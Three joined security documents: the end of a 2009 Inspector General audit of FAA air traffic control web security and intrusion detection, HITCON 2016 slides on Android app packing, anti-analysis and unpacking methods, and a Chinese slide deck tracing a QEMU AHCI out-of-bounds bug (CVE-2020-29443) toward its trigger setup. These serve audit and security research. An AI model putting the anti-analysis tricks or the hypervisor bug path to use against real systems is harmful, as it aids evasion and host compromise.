Sensor Coverage Number of Facilities with IDS Sensors Installed Major ATC Facilities Total Number of Facilities ATC Network Mission- support Network En route centers 21 0 5 Terminal radar approach control facilities 166 Airport traffic control towers 512 0 4 Flight service stations 33 0 0 FAA Technical Center 1 0 1 Mike Monroney Aeronautical Center 1 0 1 Remote Sites * 0 0 Total 734# 0 11 * in the thousands # excluding remote sites Source: FAA Further, these IDS sensors provide monitoring coverage only for mission- support systems at these facilities, not for ATC operational systems. As a result, CSMC has little visibility into operations at ATC facilities, and cannot identify potential cyber attacks against ATC operational systems. 10 According to CSMC and ATO management officials, effective IDS deployment requires close cooperation between CSMC and ATO. However, this cooperation has been lacking. Insufficient understanding of FAA network infrastructure was also a contributing factor, resulting in deployment of IDS sensors on an ad-hoc basis, which made CSMC monitoring of ATC systems less effective. For example, FAA has not fully studied the connectivity of its network infrastructure (network mapping), including the locations of critical network points. Cyber incidents were not remediated in a timely manner. Once a cyber incident is detected, it must be examined and remediated quickly to minimize the security risk to the network. During FY 2008, ATO received 877 cyber-incident alerts from CSMC. As of the end of FY 2008, 151 incidents (17 percent) were still unresolved. Fifty of these had been open for more than 3 months, including critical incidents in which hackers may have taken over control of ATO computers. According to both CSMC and ATO officials, the lack of needed information—such as IDS sensor data, critical data being collected on a network device in real-time (logging), and complete IP address information—was a major factor in being unable to pinpoint the actual network location when an incident occurred or the computer affected by the incident. This lack of information has significantly impeded ATO’s ability to respond to cyber incidents. For example, in March 2008, ATO officials directed CSMC to close over 60 unresolved cyber incidents identified in FYs 2006 and 2007, stating that they were “nonactionable due to inability to perform further analysis because of time considerations.” The Federal Information Security Management Act of 2002 requires agencies to have procedures for detecting, reporting, and responding to security incidents. Without effectively deploying IDS monitoring capability at ATC facilities, FAA cannot be fully aware of potential cyber attacks on ATC systems. More seriously, the lack of timely remediation against cyber incidents left unsecured FAA computers on its networks. As a result, FAA cannot take effective action to stop or prevent these cyber attacks, which increases the risk of further attacks on ATC systems. 11 RECOMMENDATIONS We recommend that the Acting Federal Aviation Administrator direct FAA’s Chief Information Officer and ATO’s Chief Operating Officer to: 1. Ensure that all Web applications used in ATC systems are configured in compliance with Government security standards; 2. Strengthen the patch management process by (a) identifying Web applications with known vulnerabilities, and (b) promptly installing relevant security patches in a timely manner; 3. Take immediate action to correct high-risk vulnerabilities and establish a timetable for remediation of all remaining vulnerabilities identified during this audit; 4. Resolve differences with CSMC and establish a timetable for deploying IDS monitoring devices covering local area networks at all ATC facilities; and 5. In conjunction with CSMC officials, identify the information needed for remediation and establish procedures to ensure timely remediation of cyber incidents based on incident criticality as assessed by CSMC. AGENCY COMMENTS AND OFFICE OF INSPECTOR GENERAL RESPONSE We provided FAA with our draft report on March 3, 2009, and received its response on April 16, 2009. FAA concurred with all of our recommendations, and said that it recognized that constant vigilance and effective action are the keys to addressing cyber security in its ATC systems. FAA also pointed out that a critical element of its cyber security is the separation of the network infrastructure between the National Airspace System (NAS) for aircraft separation and FAA administrative/ATC mission-support systems. We recognize the separation of FAA’s network infrastructure. However, as stated in our report, cyber attacks can spread from the mission-support network to the NAS network because of system interconnections. FAA further stated that it recognized the importance of dealing with all system vulnerabilities and will treat vulnerabilities in this report with the utmost diligence. 12 FAA’s response can be found in its entirety in Appendix A. The responses to our recommendations are summarized as follows: Recommendation 1: Concurred. FAA stated that it is actively analyzing the identified vulnerabilities, and will develop new Plans of Action and Milestones (POA&Ms) based on the analysis. The analysis was scheduled for completion by April 30, 2009. FAA uses the DOT Secure Web Application Standards as the basis for securely configuring Web applications, and will ensure that the Web applications identified in our report are in compliance with these standards. New system POA&M items will be developed by July 31, 2009. Recommendation 2: Concurred. FAA stated that security patching vulnerabilities identified in our report will be addressed via the ATO Certification and Accreditation Remediation Management process. The ATO audit/compliance team will audit the existence of appropriate security patches. Patch implementation will be performed in accordance with established FAA configuration management processes. These corrective actions will be included in system POA&Ms by July 31, 2009. Recommendation 3: Concurred. FAA will ensure that the high-rated vulnerabilities correlated to FAA systems are handled with high priority for immediate implementation. Implementation will be tracked via the POA&M process. FAA is now reviewing detailed data from our testing to assess the criticality of the vulnerabilities identified. The review was scheduled for completion by April 30, 2009. Based on the findings, FAA will develop a timetable for remediation by July 31, 2009. However, FAA agreed to take immediate action to fix critical vulnerabilities. In follow-up meetings, FAA committed to sharing its April evaluation results and action plan on fixing critical vulnerabilities with us in May 2009. Recommendation 4: Concurred. While FAA believes that its relationship with CSMC is essentially sound, within 30 days the FAA CIO—along with the CIO for ATO—will meet with CSMC leadership to discuss strengths and weaknesses of interactions between their organizations and identify any areas in need of improvement. As an additional level of protection, internal NAS facility IP demarcation points between NAS entities and mission-support entities have been identified by FAA as requiring additional IDS sensors to be installed. FAA plans to implement IDS capability at the facilities housing one of the NAS systems (ARTS IIIE) in 13 February 2010. A deployment strategy for the remaining automation systems will be developed in December 2009. Recommendation 5: Concurred. ATO has recently implemented two process improvements: a Reconciliation of Findings process and an Open Incident Handling process, thereby reducing the number of open incidents. In conjunction with CSMC, ATO has taken steps to improve timely response of cyber incidents. Specifically, CSMC and ATO are working together through focused meetings and cyber security-related workshops to refine the process of identifying the criticality of incidents for remediation. A refined process will be developed in August 2009. ACTIONS REQUIRED FAA’s actions taken and planned are responsive to our recommendations and are considered resolved. These actions are also subject to follow-up provisions in Department of Transportation Order 8000.1C. We appreciate the courtesies and cooperation of the FAA Office of the Chief Information Officer, ATO, CSMC, OST, and KPMG representatives during this audit. If you have any questions concerning this report, please call me at (202) 366-1407 or Dr. Ping Z. Sun, Program Director, at (202) 366-1478. # cc: Acting Chief Information Officer, DOT Chief Information Officer, FAA Chief Operating Officer, ATO Martin Gertel, M-1 Anthony Williams, ABU-100 Exhibit A. Scope and Methodology 14 EXHIBIT A. SCOPE AND METHODOLOGY This audit was conducted by KPMG of Washington, D.C., under contract to DOT OIG, and by OIG staff. The audit was conducted at FAA Headquarters, CSMC, selected FAA facilities and at the FTI operational center in Melbourne, Florida. OIG staff performed an Internet search and reviewed the ATO Risk Assessment Process Site Survey Plan. The search and review generated two lists of Web applications used to support ATC operations. The lists served as a basis for KPMG’s conducting the external and internal vulnerability assessment/penetration tests. OIG staff also conducted an analysis of significant cyber incidents identified by FAA. KPMG’s detailed methodology is documented in its report. The following summarizes the contractor’s scope and methodology: The contractor performed an external vulnerability assessment/penetration test by using open-source (freeware) and commercial scanning software. The test was done through an Internet connection at KPMG Headquarters. Based on OIG input, a total of 35 public-accessible Web application computers were included during the test. The contractor performed an internal vulnerability assessment/penetration test by using open-source and commercial scanning software. The test was conducted at FAA Headquarters. Based on OIG input, a total of 35 internal Web application computers were included in the test. To reduce any potential impact on ATC operations, a portion of the test was conducted at night. OIG staff visited the FTI Security Operations Control Center in Melbourne, Florida, and the DOT CSMC in Leesburg, Virginia. We interviewed Center officials, examined available data pertaining to identified cyber incidents, and reviewed intrusion-detection monitoring policies and procedures. The audit work was performed between June 2008 and January 2009. We conducted our audit in accordance with generally accepted government auditing standards. Those standards require that we plan and perform the audit to obtain sufficient, appropriate evidence to provide a reasonable basis for our findings and conclusions based on our audit objectives. We believe that the evidence obtained provides a reasonable basis for our findings and conclusions based on our audit objectives. Exhibit B. Major Contributors to This Report 15 EXHIBIT B. MAJOR CONTRIBUTORS TO THIS REPORT Name Title Dr. Ping Zhong Sun Program Director for IT Audit Computer Laboratory Mitchell Balakit Contracting Officer’s Technical Representative Vasily Gerasimov Computer Scientist Michael P. Fruitman Writer-Editor Appendix A. Management Comments 16 APPENDIX A. MANAGEMENT COMMENTS Federal Aviation Administration Memorandum Date: April 16, 2009 To: Rebecca C. Leng, Assistant Inspector General for Financial and Information Technology Audits From: Ramesh K. Punwani, Assistant Administrator for Financial Services/CFO Prepared by: Anthony Williams, x79000 Subject: OIG Draft Report: Review of Web Applications Security and Intrusion Detection in Air Traffic Control Systems The Federal Aviation Administration (FAA) appreciates the Department of Transportation (DOT) Office of the Inspector General (OIG) efforts in the subject draft report that will assist FAA in identifying weaknesses in the FAA web infrastructure that have not previously been detected. FAA operates with the ongoing knowledge that Cyber security is one of the key components to the safe operation of the National Air Space System (NAS) and Cyber security is a top priority for FAA as identified in the FAA Flight Plan. The Air Traffic Organization (ATO) places the highest priority on pursuing and maintaining a safe and secure Air Traffic Control (ATC) system. ATO recognizes that constant vigilance and effective and expeditious action are the keys to addressing Cyber security in its ATC systems. It has demonstrated its commitment to ensuring NAS safety and Cyber security through the extensive measures it has taken to reduce the risk of Cyber attack. Some of these steps include: implementing a comprehensive Information System Security (ISS) Program in support of Federal Information Security Management Act (FISMA) requirements; separating NAS operational ATC systems from Mission Support and Administrative systems; identifying and fixing Cyber security weakness in a prioritized process, with expedited processes in place to address critical issues identified as high priority; and modernizing ATO Cyber security through improvements in processes and technology. One important element of NAS system Cyber security is the separation of infrastructure elements. Specifically, the FAA networking infrastructure is comprised of two major networks that are separated physically and logically: Appendix A. Management Comments 17 • The FAA Administrative/ATC Mission Support (Admin/MS) Network: Provides Wide Area Network (WAN) support to FAA services, except ATC operations. • The National Airspace System (NAS) Network: Provides WAN services that support ATC operations. ATC systems are prohibited by FAA Order 1370.95, Wide Area Network Connectivity Security, from directly connecting to the FAA Admin/MS Network or any other on-NAS network. The OIG report findings focus entirely on vulnerabilities associated with Admin/MS system assets. The OIG used commercially available scanning tools to assess the security of the Admin/MS elements of the ATO infrastructure and vulnerabilities were identified. FAA recognizes the importance of dealing with all identified system vulnerabilities in a logical and orderly manner, and will treat vulnerabilities identified in the OIG report with the utmost diligence and conduct mitigation to include as many families of vulnerabilities as possible in parallel. Immediate attention will be focused on mitigating high and moderate risk vulnerabilities in FAA public facing websites and FAA websites that provide Mission Support services. OIG Recommendation 1: Ensure that all Web applications used in ATC systems are configured in compliance with Government security standards. FAA Response: Concur. The FAA Telecommunications Infrastructure (FTI) NAS IP WAN currently has intrusion-detection-system (IDS) sensors deployed that monitor data flow into and out of 27 ATC NAS operational facilities, which provides coverage for all NAS IP connected facilities. In addition, internal NAS facility IP demarcation points between NAS entities and Mission Support entities have been identified by the FAA as requiring additional IDS sensors to be installed. Vulnerabilities identified in the OIG report will be prioritized based on their level of risk and addressed through the ATO Certification and Accreditation (C&A) Remediation Management process. Web applications are also assessed as part of system C&A Risk Assessments conducted on a 3-year cycle, and will receive continued scrutiny and attention as risks are identified. FAA is actively analyzing the OIG audit report raw data, which will correlate OIG report findings to FAA systems so that new Plans of Action and Milestones (POAMs) can be developed. The analysis will be complete by April 30, 2009. The FAA uses the DOT Secure Web Application Standards as the basis for securely configuring web applications and will ensure that the web applications identified in the OIG report are in compliance with these standards. New system POAM items will be developed by July 31, 2009; however, FAA will take immediate corrective action on any critical vulnerabilities. In addition, the ATO ISS Program Compliance/Audit Plan ensures that FAA has a valid NAS ATC operational web application inventory that is configured in accordance with DOT Secure Web Application Standards. OIG Recommendation 2: Strengthen the patch management process by (a) identifying Web applications with known vulnerabilities, and (b) promptly installing relevant security patches in a timely manner. Appendix A. Management Comments 18 FAA Response: Concur. Security patching vulnerabilities identified in the OIG report will be addressed via the ATO C&A Remediation Management process. The vulnerabilities identified by OIG are being assessed, and remediation actions will be prioritized based on the level of risk presented. As part of the ATO ISS Program Compliance/Audit Plan defined in Recommendation 1, the audit/compliance team will be auditing the existence of appropriate security patches. The FAA is analyzing the specific scanning tool report data provided by OIG and is correlating findings to FAA systems for POAM development. Patch implementation will be performed in accordance with established FAA configuration management processes. System POAM items will be developed by July 31, 2009; however, FAA will take immediate corrective action on any critical vulnerabilities. As part of its standardized process for patch management, ATO Security Certification Teams are responsible for ensuring that patch management procedures are properly developed and implemented. The ATO has developed a Standard Operating Procedure (SOP) template and guidance document for the NIST SP 800-53 System Integrity (SI) control family that defines the patch management procedures to be implemented for each system. The ATO ISS Program conducted a workshop in December 2008 to review the security SOP guidance and ensure that Security Certification Teams and System Owners understand the procedure development requirements. FAA will continue its efforts to ensure that this process results in the timely and effective implementation of system patches. OIG Recommendation 3: Take immediate action to correct high-risk vulnerabilities and establish a timetable for remediation of all remaining identified during this audit. FAA Response: Concur. FAA recognizes that the vulnerability scanning tools used to perform the OIG Web Audit did identify some vulnerabilities in the Admin/MS systems. The FAA takes all security vulnerabilities very seriously and will ensure that the high rated vulnerabilities that are correlated to FAA systems as part of the actions defined in the responses to Recommendations 1 and 2 are handled as high priority configuration management changes for immediate implementation. Implementation will be tracked via the POAM process. The FAA is now reviewing the detailed data from the OIG's testing. As part of that review, it is evaluating the extent of which those vulnerabilities identified in the draft report as high risk coincide with FAA's definition of high risk and conform to NIST standards. In addition, vulnerabilities identified by FAA internal scans are also receiving priority attention and will be remediated. Lower priority issues will be addressed as appropriate. The review of vulnerabilities identified by the OIG will be completed April 30, 2009. Based on the findings, the FAA will develop a timetable for remediation by July 31, 2009; however, FAA will take immediate corrective action on any critical vulnerabilities. OIG Recommendation 4: Resolve differences with Cyber Security Management Center (CSMC) and establish a timetable for deploying IDS monitoring devices covering local area networks at all ATC facilities. FAA Response: Concur. FAA intends to ensure that it has a smooth and effective working relationship with the CSMC that is conducive to expeditious and effective interactions. While FAA believes that the relationship with CSMC is essentially sound, within 30 days, the FAA Appendix A. Management Comments 19 Chief Information Officer (CIO) along with the CIO for ATO will meet with the CSMC leadership to discuss strengths and weaknesses of interactions between their organizations and identify any areas in need of improvement. In addition, the FAA CIO is creating service level agreements with all FAA lines of business. In regard to IDS monitoring devices, FAA has actions underway to complete its network of IDS monitoring systems and is currently implementing and monitoring boundary and internal network protection measures. As an added measure of NAS operations network protection, the FAA FTI NAS IP WAN currently has IDS sensors deployed that monitor data flow into and out of 27 ATC NAS operational facilities, which provides coverage for all NAS IP connected facilities. The FTI NAS IP WAN is configured to provide these IDS sensors with visibility into the data traffic traveling into and out of the NAS operational LAN infrastructures as well as all other NAS IP WAN connected facility LANs. This existing configuration allows for reviewing the majority of IP data traffic that is used for NAS ATC operational systems. Additionally, the FTI service has a Security Operations Center that monitors the IDS sensor data and works with appropriate FAA Cyber security organizations, including the CSMC, to resolve security events. As an additional level of protection, internal NAS facility IP demarcation points between NAS entities and Mission Support entities have been identified by the FAA as requiring additional IDS sensors to be installed. While it would not be appropriate to discuss the specific demarcation points in this memo, FAA would be happy to provide details to the OIG in another forum. However, we note that some of these IDS systems will be fully operational this year, having passed key site testing on March 10, 2009. The current completion date for the implementation of all IDS's at ARTS IIIE facilities is February 2010. A deployment strategy for the remaining automation systems will be developed by December 2009. OIG Recommendation 5. In conjunction with CSMC officials, identify the information needed for remediation and establish procedures to ensure timely remediation of cyber incidents based on criticality as assessed by CSMC. FAA Response: Concur. The ATO has recently implemented two process improvements: a Reconciliation of Findings process; and an Open Incident Handling process, thereby reducing the number of open incidents. The improved processes have reduced the amount of time to respond to new CSMC findings, provided more efficient tracking of all open findings, and allowed for more comprehensive documentation and reporting capability. In conjunction with CSMC, ATO has taken steps to improve timely response of cyber incidents. Specifically, the CSMC and ATO are working together through focused meetings and cyber security related workshops to refine the process of identifying the criticality of information for event remediation. A refined process will be developed by August 2009. S:\\ABU-100\Share\OIG GAO\08-30 Web Applications Security doc:ARWilliams 4/16/09 The following pages contain textual versions of the tables and figure found in this document. These pages were not in the original document but have been added here to accommodate assistive technology. Review of Web Applications Security and Intrusion Detection in Air Traffic Control Systems. Section 508 Compliance Presentation. Table 1. Internet-based and Internal Security Testing Results. 35 Internet-based or public use web applications were tested. On those web based applications 212 high risk, 169 medium risk, and 1,037 low risk vulnerabilities were found. 35 internal or Federal Aviation Administration use web applications were tested. On those web based applications 551 high risk, 335 medium risk, and 1,553 low risk vulnerabilities were found. The total number of tested web application was 70. A total of 763 high-risk, 504 medium-risk and 2,590 low-risk vulnerabilities were found. Source: KPMG. Figure 1. Air Traffic Control Internet Protocol Based Network Infrastructure. This infrastructure consists primarily of the backbone Federal Aviation Administration Telecommunications Infrastructure and several local area networks; Federal Aviation Administration relies on this infrastructure to conduct Air Traffic Control operations. Air Traffic Control systems are hosted on local area networks at Air Traffic Control facilities, which have connections to both Federal Aviation Administration Telecommunications Infrastructure operational and mission-support networks. Table 2. Cyber Security Management Center Intrusion Detection Systems Sensor Coverage. For the en route centers, the total number of facilities was 21, the number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the number of facilities with Intrusion Detection Systems sensors installed on the mission-support network was 5. For the terminal radar approach control facilities, the total number of facilities was 166. For the airport traffic control towers the number of facilities was 512. For the combined terminal radar approach control facilities and airport traffic control tower facilities the number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the combined number of facilities with Intrusion Detection Systems sensors installed on the mission- support network was 4. For the flight service stations, the total number of facilities was 33, the number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the number of facilities with Intrusion Detection Systems sensors installed on the mission-support network was 0. For the Federal Aviation Administration Technical Center, the total number of facilities was 1, the number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the number of facilities with Intrusion Detection Systems sensors installed on the mission-support network was 1. For the Mike Monroney Aeronautical Center, the total number of facilities was 1, the number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the number of facilities with Intrusion Detection Systems sensors installed on the mission-support network was 1. For the remote sites, the total number of facilities is in the thousands, the number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the number of facilities with Intrusion Detection Systems sensors installed on the mission-support network was 0. The total number of major Air Traffic Control facilities was 734, excluding the remote sites. The total number of facilities with Intrusion Detection Systems sensors installed on the Air Traffic Control network was 0 and the total number of facilities with Intrusion Detection Systems sensors installed on the mission- support network was 11. Source: Federal Aviation Administration.
pdf
THE EVOLUTION OF ANDROID APP PACKING AND UNPACKING TECHNIQUES THIS IS NOT GOING TO END YAJIN ZHOU HITCON2016 ABOUT ME ▸ Earned P.h.D. in Computer Science from NC State University ▸ Research mainly focuses on smartphone and system security ▸ Now involving in C0RE Team ▸ More information: http://yajin.org 2 HITCON2016 AGENDA ▸ Why app packing services are becoming popular ▸ The main app packing/unpacking techniques ▸ New trends 3 HITCON2016 APP REPACKAGING 4 0 27.5 55 82.5 110 SOFTWARE GAME ▸ Given10,305 popular apps, 954,986 repackaged apps are found* *Datasource Link HITCON2016 THE CONSEQUENCES OF APP REPACKAGING ▸ Developers ▸ Users 5 How easily to repackage an app? Video Demo HITCON2016 APP PACKING SERVICE PROVIDERS 7 FREE SERVICE HITCON2016 DOUBLE-EDGED SWORD ▸ Packing services create problem for both good and bad guys ▸ Bad guys: malware authors, () ▸ hard to repackage popular apps ▸ Good guys: app markets maintainers, security researchers(??) … 8 HITCON2016 IN REALITY ▸ App packing services are abused by bad guys 9 *Datasource Link HITCON2016 MAIN TYPES OF APP PACKING TECHNIQUES ▸ Static: cheat statical analysis tools ▸ Dynamic ▸ Memory dex loading: directly load encrypted dex file into memory and execute ▸ Anti-analysis: raise the bar for dynamic analysis 10 HITCON2016 MAIN TYPES OF APP UNPACKING TECHNIQUES ▸ Static: reverse engineer the encryption algorithm ▸ Pros: one method to kill all samples — protected by one packer ▸ Cons: hard — usually the encryption algorithm is in the native code, and continuously changing 11 HITCON2016 MAIN TYPES OF APP UNPACKING TECHNIQUES ▸ Dynamic: memory dump ▸ Basic idea: the unencrypted bytecode will be eventually in memory ▸ Lack of self-modifying (and JITed bytecode) support 12 ENCRYPTED CODE DVM DECRYPTED CODE PACKER META DATA App Packing Techniques: Static HITCON2016 MANIFEST CHEATING ▸ Manifest file: define package name, permissions, components … ▸ When parsed, attributes are translated into ids ▸ If we insert an id to represent an undefined Java class ▸ aapt: ignore this ▸ apktool: honor this-> app repackaged by apktool will crash due to unimplemented Java classes 14 HITCON2016 FAKE ENCRYPTION ▸ Apk file is indeed a normal zip file ▸ Set the encryption flag to true ▸ Old Android system does NOT check this flag, but static analyst tool does 15 HITCON2016 BYTECODE-OBFUSCATION ▸ Depends on the disassembly algorithm ▸ Linear ▸ Recursive 16 Image source: DexLabs HITCON2016 (LONG)FILE-NAME TRICKS ▸ Limited length of a file name 17 HITCON2016 OVERVIEW ▸ Pros: easy to implement, better compatibility, low performance overhead ▸ Cons: easy to be bypassed, ▸ Small tricks, not a systematic way to protect app 18 App Packing Techniques: Dynamic HITCON2016 BACKGROUND ▸ Dex Header 20 HITCON2016 BACKGROUND ▸ class_def 21 HITCON2016 BACKGROUND ▸ Original dex file is embedded in the OAT file 22 HITCON2016 THE BASIC IDEA OF APP PACKING 23 ORIGINAL DEX CODE PACKER SO ENCRYPTED DEX CODE Injected Application load DVM DECRYPTED DEX CODE decrypt load dex META DATA from memory HITCON2016 APP PACKING: DALVIK 24 BASICLASSLOADER PATHLIST DEXELEMENTS DEXFILE DEXFILE … MEMORY LOADED DEXFILE STRUCTURE HITCON2016 APP PACKING: ART ▸ OAT file can still be executed in the interpreter mode — cost: performance loss ▸ The embedded dex file ▸ Dex2oat is responsible for translating dex file into oat file when the app is being installed 25 HITCON2016 APP PACKING: ART (CONTINUED) ▸ Propose I: run the app in the interpreter mode ▸ How ‣ Create an empty dex file (with all classes but empty methods — real methods are encrypted) and the corresponding oat file will be created ‣ Decrypt the real methods and make up the empty method structure in memory 26 HITCON2016 APP PACKING: ART (CONTINUED) ▸ Propose II: Encrypt the generated oat file ▸ How ‣ Hook the dex2oat tool: encrypt the oat file (LD_PRELOAD) ‣ oat memory loading: Android fragmentation - Android L/M, custom ROMs 27 HITCON2016 APP PACKER: PROTECT THE PACKER ITSELF ▸ Packer is usually in the format of so library ▸ o-LLVM ▸ upx ▸ init functions ▸ Based on custom so loader ▸ VMP engine to protect key functions 28 App UNPacking Techniques: Static HITCON2016 APP UNPACKING: STATIC ▸ Understand the encryption/decryption logic of the packer ▸ Pros: one effort to kill all (apps with one packer) ▸ Cons: so packer (VMP engine), encryption method/key is continuously changing … ▸ But it is efficient if we have an insider 30 App UNPacking Techniques: Dynamic HITCON2016 THE KEY VULNERABLE POINT OF APP PACKING ▸ Dalvik VM ▸ executes unencrypted dex code ▸ requires the integrity of some meta data 32 HITCON2016 RUNTIME MEMORY STATE 33 Dexfile View Image source: AppSpear paper Dalvik View HITCON2016 APP UNPACKING 101 ▸ Basic idea: locate the dex file in memory and dump ▸ How: locate “dex. 035” ▸ When: hook key functions (mmap, strcmp and etc…) ▸ Countermeasure: corrupt the header, inline key functions 34 HITCON2016 APP UNPACKING 102 ▸ Basic idea: dump the memory and reconstruct the dex file without relying on the dex header — DexHunter, and AppSpear ▸ How: modify libdvm, dump memory, reconstruct dex 35 HITCON2016 APP UNPACKING 102: DEXHUNTER 36 Image source: DexHunter HitCon2015 slides HITCON2016 APP UNPACKING 102: APPSPEAR 37 Image source: AppSpear paper Countermeasures HITCON2016 INCREMENTAL UNPACKING ▸ When and where to refill these instructions? 39 HITCON2016 ANTI-DISASSEMBLY ▸ Change the value of debug_info_off 40 HITCON2016 ANTI-PTRACE/DEBUG ▸ Check files: /proc/$pid/status, etc … ▸ Check process name ▸ SIGTRAP ▸ Multi-process ▸ Inotify ▸ Hook read/write APIs 41 New Trends HITCON2016 DEX2NATIVE ▸ The dex code could be dumped from memory (as long as Dalvik is still used) ▸ Dex code could be recovered ▸ Native code is much harder to understand 43 HITCON2016 DEX2NATIVE: 101 ▸ Hide the control flow 44 A B C A B C DISPATCHER( JNI) DISPATCHER (JNI) DEAD CODE? HITCON2016 DEX2NATIVE 102 ▸ Completely convert the bytecode to another format of bytecode: how to maintain the semantics of the bytecode? 45 ORIGINAL DEX TRANSLATED BYTECODE INTERPRETER (JNI) MAPPING TABLE Convert Load Interpret Further protected by VMP HITCON2016 DEX2NATIVE 102 46 .class public Lcom/example/ApiTest/MyActivity; .method protected native onCreate(Landroid/os/Bundle;)V .end method HITCON2016 DEEP COUPLING ▸ Put some app logic into the packer— the dumped dex cannot be repackaged without the packer ▸ The packer checks the integrity of the dex code 47 PACKER SO (JNI) ENCRYPTED DEX FROM UNPACKING TO REPACKAGING HITCON2016 HOW TO RELIABLY REPACKAGE THE PACKED APP ▸ Load the packed app using the similar packing technique: Matrix? ▸ DroidPlugin 49 PACKER SO Injected Application ENCRYPTED DEX SO Introspect HITCON2016 THANKS 50
pdf
云虚拟化安全:QEMU的安全探索 和防御 0 1 钱文祥 (@leonwxqian) Tencent Blade Team高级安全研究员 • 云虚拟化、IoT、浏览器等安全研究 • 发现NVIDIA vGPU等逃逸漏洞、Amazon Echo、Google Home音箱、浏览器中“麦哲伦” (SQLite)、Curl的多个远程代码执行漏洞等 • 多次在著名会议上参讲 0 2 n Tencent Blade Team由腾讯安全平台部在2017年底成立 n 专注于AIoT,移动互联网,云虚拟化技术,可信计算等前沿领域的安全技术研究 n 向Google、Microsoft、 Apple、Amazon、Huawei等诸多国际知名公司报告过200+安全漏洞 n 研究成果多次入选BlackHat、DEFCON、CanSecWest、HITB、POC、Xcon等顶级安全大会 n 团队官网:https://blade.tencent.com 云虚拟化 0 3 • 许多种云服务需要从一个物理硬件系统创建多个模拟环境 • 实现这个技术的核心便是虚拟化,具体则是Hypervisor层 • Hypervisor是一种运行在基础物理服务器和操作系统之间的中间 软件层,可允许多个guest操作系统和应用共享硬件 • 典型的代表有:QEMU-KVM,Xen,VMware,Hyper-V等等 Hypervisor的位置 0 4 • Hypervisor是用户(Guest)和云服务提供商的 “边缘” • Host是总管理员,上面可运行大量虚拟化机器 • 用户看来,Guest就是一台电脑,用户可以完全 控制Guest • 但是如果有漏洞允许用户从Guest中穿透到Host上,则会对主机的隐私性、安全性造成 极大危害 QEMU中的存储 0 5 • 存储一直是各虚拟机/容器的重要的攻击面 • 常见的存储模式有PATA/SATA/virtio-blk/virtio-sata…… • Virtio方式是QEMU默认支持功能中性能最高的存储使用方式 • 若不可使用virtio驱动程序,则x86一般可以使用AHCI (SATA)以提高效率 • QEMU的AHCI模块中发现了一个任意长度越界读写的问题 • CVE-2020-29443 https://qemu.org/2021/01/19/virtio-blk-scsi-configuration/ AHCI(高级主机控制接口)设备简介 0 6 • AHCIV(AdvanceVHostVControllerVInterface)由 IntelV开发,用于提速 SATAV设备的数据处理 • AHCI是SATA的技术,SATA是PATA(原称ATA)演变而来的接口 • 从QEMU源码树上看,PATA/SATA/AHCI都共享一部分源码 • AHCI可使用MMIO直接地访问磁盘,而无需像IDE那样使用复杂的PMIO命令序列 • AHCI控制器是具有总线主控能力的 PCIV设备 • AHCIV控制器是系统内存和 SATAV设备之间的数据传输引擎 • 但AHCI的文档很少,常用的参考资料是 IntelVAHCIV规范和Linux源码 0 7 按此顺序 1 FIS 2 ATAPI 3 PRDT FIS (帧信息结构) 0 8 • SATA使用FIS(FrameV InformationVStructure)包在主机和设备之间传输数据 • SATA使用与PATA相同的命令集,SATA/PATA控制上最明显的区别就是FIS。 • 可以将FIS视为传统任务文件的数据集,或ATA命令的封装 • 共有下列几种FIS指令 • RegisterVFISV- hostVtoVdeviceV • RegisterVFISV- deviceVtoVhost • DMAVactivateVFISV- deviceVtoVhostVV • DMAVsetupVFISV– bidirectional • DataVFISV– bidirectional • BISTVactivateVFISV– bidirectional • PIOVsetupVFISV- deviceVtoVhost • SetVdeviceVbitsVFISV- deviceVtoVhost ATAPI Command 0 9 • ATAPIV是一种向连接到 ATAV总线的光驱或磁带驱动器发出SCSI命令的方法 • 最重要的是 PACKET 命令 (0xA0)V和 IDENTIFYVPACKETVDEVICEV(0xA1)命令 • PACKET由1个字节SCSI命令,后跟 11个字节的数据组成 • QEMU中名为“WIN_PACKETCMD(0xA0)” PRDT 1 0 • 全称为物理区域描述表(PhysicalVRegionVDescriptorVTable) • PRDT的每一项为16字节,分别有下列含义: • DBA是一个物理地址,它是读操作的目标地址,或者写操作的源地址 • DBC则用于指示每次操作的字节长度 • PRDT按链表的形式组织,一项连着一项,最多可以由65535个项目组成 12-15 7-11 4-7 0-3 DBCVV- 字节计数 保留不用 DBAUV- DBA地址(高位) DBAV– 数据基地址(低位) 漏洞的发现 触发漏洞的位置 1 2 • IO密集型代码注重性能,底层设计理念理应是“无必要,不检查”,检查应在代码早期阶段进行 • IO操作的最底层代码是假想的污点最终会到达的地方 • 从这里自底向上进行审计,我们发现了一个可疑的位置,它很像是一个在循环中的memcpy • 它拷贝的对象是s->io_buffer,这是一个预先分配的,固定长度的Buffer • Source是客户机提供的输入,size也是客户机提供的输入,它的参数看起来并不安全 污点的追踪——ide_atapi_cmd_read_pio 1 3 • 显然应当将source和size作为污点向上溯源 • 向上一层,控制复制总大小的packet_transfer_size由nb_sectors 和 sector_size计算而来(右图) • 引入的新污点nb_sectors,则是从某个buf中读取出来的(左图) 调用顺序 如果进一步回溯…… 1 4 • 向上回溯三层,我们获得了这样一个调用链条: • (hw/ide/atapi.c)Vcmd_read 或 cmd_read_cdà ide_atapi_cmd_read à ide_atapi_cmd_read_pio • 到此还比较明晰,但如果重复这个步骤,问题就来了: • 污点的源头越来越多,很多变量都参与了这个链条 • IDE/AHCI共用代码分支,分支岔路很多,很难确定数据通过哪条路径走过来 • 让我们从AHCI规范开始,定位代码的安全问题在哪里 理解AHCI的核心——CommandVTable FIS指令结构体的布局 1 6 • 整个CommandVTable是一体的,但是为了方便介绍,这里先只提FIS部分 • 一个AHCI由6个port构成,设备使用的port是固定的,FIS等和port绑定 • 找到一块内存放置cmd_fis结构体,低地址物理内存如0x20000似乎是一个不错的选择 • MMIO写操作回调ahci_mem_write中也为PMIO预留了一部分内存区域 • 因此MMIO/PMIO读写其实都可以通过MMIO来完成 FIS指令结构体的内存布局 1 7 • 通过MMIOàPMIO写回调设置lst的地址为0x20000,这是整个CommandVTable的地址 • 通过AHCI_PORT_REG_CMD_ISSUE触发FIS指令处理器 • 在lst开头,例如0x20000处,按FIS格式设置好状态信息,包括最重要的 feature字段 • 要进入AHCI模式,需要featureV&V11B≠0 